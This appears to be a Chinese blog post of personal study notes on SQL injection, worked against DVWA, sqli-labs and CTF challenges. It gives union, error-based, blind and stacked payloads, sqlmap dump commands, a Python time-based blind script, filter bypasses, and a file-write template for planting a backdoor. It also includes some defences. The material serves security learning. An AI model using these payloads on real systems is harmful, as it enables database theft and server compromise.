sql注入漏洞

SQL注入:是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串中注入SQL指令,在设计的不良程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破化或入侵。

代码层面的话,好像是这样的

放一张看起来以后有用的图

今天大致理解了这个图,我们需要知道如何将这个语句通过浏览器传给后端,首先要知道参数是如何被包装的,首先判断是数字型注入还是字符型注入,其次是猜语句找寻闭合方式,而猜语句利用的方式是:通过向浏览器中输入一些无法识别的参数,如 ' ) "等。利用的原理是:如果该符号是包装方式,那么该符号作为参数时系统会返回语句错误信息。

SQL是什么?

(SQL:Structured Query Language 结构化查询语言)是一种用于操控数据库的语言。

正常流程:

“取出数据”这个操作开发人员就要用到SQL语句

从电影信息数据库中查询电影名称为长津湖的票房数据

若用户输入的数据为 长津湖’order by 1 #

那么这时SQL语句发生变化,不仅查询了长津湖票房,还执行了 order by 1

怎样利用sql注入漏洞?

1.判断列/字段数 order by [column_num]

在mysql中,order by字句只在limit字句前面,余下都是在其他字句后面

所以,如果结尾注释符被过滤了,就不要用order by了,直接union联合查询来尝试

2.联合查询其他信息 union select [sql1] [sql2]

用户输入SQL语句,执行了MySQL内置函数user()和database()

user():返回当前数据库连接用户

database():返回当前数据库名称

3.联合查询表 union select table_name,table_schema from information_schema.tables where table_schema= '[database_name]'

(在下文的union联合注入详细提及)

SQLmap自动化SQL注入利用过程一般如下

1.检测漏洞

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low"

-u:url地址,即需要检测的网址

--cookie:因为DVWA需要登录,可在浏览器控制台里查看请求消息头中获取cookie

2.获取数据库名

-dbs:database server 获取所有数据库名

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" --dbs

3.获取指定数据库表

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa --tables

-D:Database 指定想要获取的数据库名为dvwa

--tables:列出数据库名

4.获取指定数据库列/表项

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa -T users --columns

-D:Database 指定想要获取的数据库名为dvwa

-T:Table指定想要获取的表名为users

--column:列出表项/列

5.获取数据

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=n8rpdl76a63b86d5ai7p7qmjd5; security=low" -D dvwa -T users --dump

--dump:读取数据

-1 union select 1,flag from sqli.flag--+ 也可

SQLmap支持的注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入

漏洞防范

防御命令执行最高效的方法,就是过滤用户输入内容,不让输入SQL语句

将特殊符号替换成空,或者判断用户输入SQL语句就终止执行

MYSQL

union联合注入

information_schema库

SCHEMATA表:提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名。show databse的结果取自此表。

TABLES表:提供了关于数据库中表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表。

COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有字段信息。show columns from schemaname.tablename的结果取自此表。

mysql数据库5.0以上版本有自带数据库information_schema,该数据库下面有两个表tables和columns

tables这个表的table_name字段下是所有数据库存在的表名,table_schema字段下是所有表名对应的数据库名。

columns这个表的column_name字段下是所有数据库存在的字段名,column_schema字段下是所有表名对应的数据库名。

一些常用函数:mysql数据库常用函数(渗透测试专用)_Thunder_sec的博客-CSDN博客

获取数据库中的信息

查看数据库表

-1' union select 1,select schema_name from information_schema.schemata limit 0,1#    
-1' union select 1,select table_name from information_schema.tables where table_schema limit 0,1='数据库名'#
-1' union select 1,select group_concat(table_name) from information_schema.tables where table_schema ='数据库名'#

一般不止一个,用group_concat可以一次性全部显示出来,更加快捷

这里使用-1使之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句。

获取列名

-1' union select 1,column_name from information_schema.columns where table_name='表名' and table_schema ='数据库名'#

我们便有了这个表里的列,通过我们的常识知道一个用户的用户名和密码是表中的关键信息即user和password

查看账号密码信息

-1' union select user,password from users#

关于#

因为之前在dvwa好像都是用#注释的,但最近在sqli-labs注入get请求时发现有时候不能使用#注释,但是用%23却可以,不是前端代码的过滤,那就是后台的限制,查了一下大致是这样的:据他人实验结果,从浏览器输入的#并没有发到数据库中,#在URL中有特殊作用,并且现在在http请求中不允许出现#

以后注释可以使用%23或--+或-- -代替

报错注入

报错注入就是利用数据库的某些机制,人为地制造错误条件,想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库的内容,即实现了SQL注入。

XPath是一门XML和HTML文档中查找信息的语言,可用来在XML和HTML文档中对元素和属性进行遍历

XPath语法:

  • 层级:/ 直接子级、// 跳级
  • 属性:@属性访问
  • 函数:contains()、text() 等

extractvalue(arg1,arg2)

extractvalue(XML_document, XPath_string )

接受两个参数,arg1:XML文档,arg2:XPATH语句

条件:mysql5.1及以上版本

标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))

返回结果:XPATH syntax error.’~root@localhost~’

报错原理: xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax error:‘xxxxxxxx’

updatexml(arg1,arg2,arg3)

updatexml(XML_document, XPath_string, new_value )

arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据

条件:mysql5.1.5及以上版本

标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)

返回结果:XPATH syntax error:’~root@localhost~’

报错原理同上,updatexml() 函数实际上是去更新了 XML 文档,但是我们在 xml 文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

floor(),rand(0),count(),group by 联用作用

floor(x):对参数x向下取整

rand():生成一个0~1之间的随机浮点数

count(*):统计某个表下总共有多少条记录

group by x:按照(by)一定的规则(x)进行分组

报错原理: group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错

?id=-1' and (select 1 from (select count(*),.concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
//爆当前数据库的库名,获知当前的数据库名称为security

?id=-1' and (select 1 from (select count(*),concat((select table_name frominformation_schema.tables where table_schema='security' limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
//爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users

?id=-1' and (select 1 from (select count(*),concat((select column_name frominformation_schema.columns where table_schema='security' and table_name='users' limit N,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+
//爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段?

id=-1' and (select 1 from (select count(*),concat((select concat_ws( ',',id,username,password) from security.users limit N,1),floor(rand(0)*2)>x from information_schema.tables group by x)a)--+
//通过调整参数N,爆users表中id,username,password三个字段的值

布尔注入

处理起来用sqlmap更为方便

substr()、substring()、mid()

说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的

使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度

表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。

举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)

length()

说明:获取字符串长度

使用方法:length(arg1),arg1代表字符串

举例:数据库名字为:users

执行命令:select length(database()); 结果:5(数据库长度为5)

ascii() 、ord()

说明:将单一字符,转化为ascii码值

使用方式:ascii(str),str代表字符

举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)

left()

说明:返回具有指定长度的字符串的左边部分。

使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。

举例:执行命令:数据库名为 users select left(database(),3) 结果为:use

regexp()

说明:利用正则表达式查询匹配

使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始

自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;

时间盲注

若完全没有结果回显,可以尝试利用sleep()或benchmark()等函数让MySQL的执行时间变长。

if(expr1,expr2,expr3)

使用方法:如果expre1为真,则if()的返回值为expr2,否则为expr3

举例:if(length(database())>1,sleep(5),1)

通过观察burpsuit中右下角页面的响应时间来判断

自己编写的时间盲注脚本爆库名

import time
import requests
def lent():
    length = 0
    url = "http://127.0.0.1/sqli-labs-master/Less-9/?id="
    for i in range(1, 20):
        payload = f"1' and if(length(database())={i},sleep(3),1)--+"
        start_time = time.time()
        requests.get(url+payload)
        end_time = time.time()
        t = end_time - start_time
        if t >= 3:
            length = i
            break

    print(f"数据库的名称长度为{length}")
    return length

def database_name(length):
    url = "http://127.0.0.1/sqli-labs-master/Less-9/?id="
    word = "abcdefghijklmnopqrstuvwxyz1234567890_-{}, "
    name = ''
    for i in range(1, length + 1):
        for j in word:
            payload = f"1' and if(substr(database(),{i},1)=\'{j}\',sleep(3),1)--+"
            start_time = time.time()
            requests.get(url+payload)
            end_time = time.time()
            t = end_time - start_time
            if t >= 3:
                name += j
                print({name})
                break

database_length = lent()
database_name(database_length)

堆叠注入

条件:1.目标未对“;”过滤

2.服务器访问数据端使用的是可同时执行多条sql语句的方法,如mysqli_multi_query()函数

举例:';select if(substr(user(),1,1)='r',sleep(3),1)%23

在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞

$stmt = $conn->query("SELECT * FROM users where 'id' = ' " . $_GET['id'] . " ' "

预处理语句具有两个主要的优点:

1 查询只需要被解析(或准备)一次,但可以使用相同或不同的参数执行多次。当查询准备好(Prepared)之后,数据库就会分析,编译并优化它要执行查询的计划。

对于复杂查询来说,如果你要重复执行许多次有不同参数的但结构相同的查询,这个过程会占用大量的时间,使得你的应用变慢。

通过使用一个预处理语句你就可以避免重复分析、编译、优化的环节。简单来说,预处理语句使用更少的资源,执行速度也就更快。

2 传给预处理语句的参数不需要使用引号,底层驱动会为你处理这个。

如果你的应用独占地使用预处理语句,你就可以确信没有SQL注入会发生。

所以呢,按照我的理解,堆叠注入已经有防御意识,使用了PDO方式,只不过因为直接拼接的原因未达到预期的预编译效果,还有可趁之机。使用PDO执行SQL语句时,可以执行多条语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。

cookie注入

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入。

python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db
python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --tables
python sqlmap.py -u "http://challenge-882705d24fb59ca8.sandbox.ctfhub.com:10800/" --cookie "id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli -T tdoplahmiu --dump

UA注入

利用burpsuit,实现User-Agent注入

获取数据库信息的方法同前

Refer注入

方法同上

在请求头补入Referer:id=1 ...

宽字节注入

1.遇到情况:传入id=1'时,传入的单引号被转义符转义,导致参数id无法逃逸单引号的包围

$id = addslashes($_GET['id']);

转义字符:用来说明反斜杠后面的字符不是字符本身的含义,而是用来表示其他的含义。

2.条件:数据库的编码为GBK

3.原理:宽字节的格式是在地址后加上%df,再加上单引号,因为反斜杠的编码为%5c,在GBK编码中%df%5c是繁体字,这时单引号成功逃逸,MySQL数据库报错

由于单引号的原因,在联合查询时会使用嵌套查询

select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1

宽字节注入的产生

下面是引用他人的博客的一小段

宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。

例如说PHP的编码为 UTF-8 而 MySql的编码设置为了

SET NAMES 'gbk' 或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

————————————————

原文链接:对宽字节的深入了解_红烧兔纸的博客-CSDN博客_宽字节

宽字节注入的防御

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

二者缺一不可

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

二次注入

二次注入需要根据源代码判断其是否存在,一般是在一次时sql语句被转义处理,但存入数据库时是原始数据,所以在二次时如果sql语句中数据被直接调用就会存在注入问题。

为什么存入数据库时是原始数据?是因为mysql在插入数据库的时候会自动去除反斜杠'\'。

实例见下sqli-labs less-24

SQL注入之关键词过滤

1.过滤空格

(1)注释绕过空格

eg:select flag from sqli.fl4g

—> select/**/flag/**/from/**/sqli.fl4g

(2)括号绕过(减少)空格

2.过滤(union select 等等)

双写绕过

以上是碰到的,以后遇到再补充,下面附上他人整理的

SQL注入漏洞(绕过篇)_errorr0的博客-CSDN博客_sql注入url编码绕过

3.过滤or和and

这个or 取的是并集,and取的是交集

过滤绕过

1.大小写变形Or,OR,oR

2.编码

3.添加注释/*or*/

4.利用符号替换 and替换为&&,or替换为||

5.双写绕过

sqli-labs小记

less-18

部分源代码

if($row1)//登录成功
{
//将用户的uagent,ip,uname插入到一张表中
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

mysql_query($insert); //进行插入数据

echo 'Your User Agent is: ' .$uagent;
print_r(mysql_error());  //输出详细错误       
}

如果输入正确,会将UA展示

这里好像更理解了SQL注入的有头有尾,闭合一致

第一种:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

(`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"

User-Agent:1' and extractvalue(1,concat(0x7e,database(),0x7e))+'

第二种:

(`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"

User-Agent:1',2,3 and extractvalue(1,concat(0x7e,database(),0x7e)))#

less-24

注册用户时

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
	
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";

登录时

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

由于mysql在插入数据库时会自动去除反斜杠,所以数据库中的是原始数据

更改密码时

$sql = "UPDATE users SET PASSWORD='$pass' where username='$usernmame' and password='$curr_pass' ";

更改密码时直接调用,故存在二次注入漏洞

注册登录了username=admin'#

更改密码时拼接成

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#

完成越权修改密码

less-34

宽字节注入中get请求和post请求的区别

get型在遇到%df时会直接知道它是url编码后的会直接提交,而post型则会把它当做普通的数据,再进行一次url编码,如下:

输入:1%df' union select 1,database()#

请求包里显示的却是这个

%25是%的url编码,所以在bp中还原一下再发包即可

其实这个区别我们之前就有遇到,(上文的关于#),#在get请求中不要用,但在post请求中可以就是因为post型会对它再进行一次url编码

buuctf小记

[强网杯 2019]随便注

show

当select被过滤时可以考虑一下show

爆库名 show databases

爆表名 show tables

爆列名 show columns from word

show columns from `1919810931114514`

如上,当表名为数字时需要用反引号包装

发现flag字段,show无法读取数据,思考处理方式

第一种处理方式:

mysql语句中的handler命令

利用handler语句读取表中的数据

1.打开表:

handler `1919810931114514`open

2.读取表中的数据:

handler `1919810931114514` read next

(这道题csdn上找到了两种解法,个人认为上面这种方法思路更加的直接,只是handler命令更加的小众。在了解上面这种解法后借助了handler命令,我理解了第二种解法)

第二种处理方式:

明白回显的内容,使flag处于回显位

输入1和2的回显

这里显示了字段的数据,而我们要找的就是flag字段的数据,思考如果可以把flag放在回显位就可以读取到数据了!

这里显示的是什么呢?在words表下发现了这些

1';show columns from words;#

这里的id和data引人怀疑,会猜测默认查询的是id,数据为data

为此,应用刚才学到的handler命令检验了一下

1';handler words open;handler words read next;#

1';handler words open;handler words read next limit 1,1;#

与最初的一致,猜测无误,显示的是word表下对应id的data字段的数据

于是有了以下操作:

1、通过 rename 先把 words 表改名为其他的表名

rename table words to word1;

2、把 1919810931114514 表的名字改为 words

rename table  `1919810931114514` to words;

3、给新 words 表添加新的列名 id

alert table words add id int unsigned not Null auto_increment primary key ;

4、将 flag 改名为 data

alert table words change flag data varchar(100);

涉及到的语句点补充

添加一个列
alter table " table_name" add " column_name"  type;
删除一个列
alter table " table_name" drop " column_name"  type;
改变列的数据类型
alter table " table_name" alter column " column_name" type;
改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";

SQL约束
not null- 指示某列不能存储 NULL 值。
auto_increment-自动赋值,默认从1开始。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键

varchar(100) 数据库版本4.0以下,指的是100字节,5.0以上,指的是100字符

[SUCTF 2019]EasySQL

库名和列名同上一题堆叠注入可得,但在爆列名时返回nonono估计是被过滤了

然后思考输入任何一个非0的数字时结果返回1,因而猜测含有逻辑运算符or

自己理解后再根据大佬博客知道查询语句为

select ".$post['query']."||flag from Flag

flag自身有值,因而输入任何一个非0的数字时结果返回1

所以如果填*,1(或任意的非0的数字)

相当于执行了

select * from Flag 和 select 1 from Flag

*未被过滤,*指选取表中的所有数据,所以得到flag

这里也让我想到了之前在sqli-labs靶场上报错注入遇到的东西,这里先记着吧为啥用and和or还要再想想。

id=1' and extractvalue(1,concat(0x7e,database(),0x7e)--+
id=1' or extractvalue(1,concat(0x7e,database(),0x7e) or '

跨库注入

高权限用户,管理员权限,实现跨库注入(root还是非root由源代码中的连接用户所决定)

应用:A网站没找到注入点无法攻击,通过查询手段发现还有B网站,他们在同一服务器用了同一数据库,B网站存在注入点,也是root型,可以尝试通过B网站的注入点得到A网站的数据。

文件读写操作

load_file():读取函数

?id=-1 union select 1,load_file('d:/www.txt'),3--+

into outfile 或 into dumpfile:导出函数

?id=-1 union select 1,'x(后门代码)',3 into outfile 'D:/xx.php--+

常见写入文件问题:魔术引号开关(好像是跟addslash()差不多的作用)

ffifdyop

今天看大佬分享的题,学了个新姿势,记录一下

源码检测

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

需要username ='admin' and password ='".md5($password,true)."'条件为真时,才会执行select * from user

这就要说到咱这个ffifiyop了

在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的(我觉得应该是闭合问题),比如password='' or '1xxxx',那么就相当于password='' or 1,所以返回值就是true

所以这里是这样的

password=''or 6

之前说到过或运算存在任何一个非0的数字时结果返回true

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值